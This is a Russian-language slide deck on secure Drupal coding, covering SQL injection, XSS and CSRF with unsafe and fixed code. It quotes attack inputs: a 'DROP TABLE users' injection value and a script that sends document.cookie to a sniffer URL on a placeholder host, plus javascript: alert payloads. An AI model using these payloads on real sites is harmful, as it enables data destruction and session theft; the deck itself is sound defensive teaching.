Безопасный код

© Александр Швец
neochief@drupal.pro

SQL инъекция

```
$result = db_query('
SELECT *
 FROM users
 WHERE id = '" + $userID + "';
');
```

```
$userID  = "5;DROP TABLE users";
```

```
$result = db_query('
SELECT *
 FROM users
 WHERE id = 5;DROP TABLE users;
');
```

Неправильно

```
$result = db_query('
SELECT *
 FROM users
 WHERE id = '" + $userID + "';
');
```

Правильно

```
$result = db_query('
SELECT *
 FROM users
 WHERE id = %d
 ', $userID);
```

Cross-site scripting (XSS)

Основная проблема — кража пользовательских cookies, с помощью которых производится неавторизированный вход на сайт.

Как крадутся cookie

```
<script>
document.write(
  ‘<img src=“http://site.com/sniff.php?c=‘ +
    document.cookie +
  ’/>’
);
</script>
```

Уязвимость в реальной жизни

```
$output =
  '<a href="'. $url .'">'. $title .'</a>';
```

$title = “
<script>alert(document.cookie)</script><a>”;

**

<script>alert(document.cookie)</script>

<a>**

```
$url = “javascript:alert(document.cookie)”;
```

```
<a
   href="javascript:alert(document.cookie)">...</a>
```

Неправильно

```
$output =
  '<a href="'. $url .'">'. $title .'</a>';
```

Правильно

```
$output =
  '<a href="'. check_url($url) .'">'.
   check_plain($title) .'</a>';
```

Еще лучше

```
$output = l($title, $url);
```

Фильтрация ввода — лечение от XSS

- check_plain()
- check_markup()
- ckeck_url()
- t()
- filter_xss_admin()

Подделка межсайтовых запросов (CSRF)

Быстро удалить документ

А что если?

Лечение CSRF

Управляющий код должен выполняться только в обработчиках форм, либо с проверкой токенов.

Спасибо за внимание!

Контакты:

Александр Швец

neochief@drupal.pro

Ссылки:

http://drupaldance.com/lessons/secure-code-user-input

http://drupaldance.com/lessons/secure-code-database-layer

http://drupaldance.com/lessons/secure-code-csrf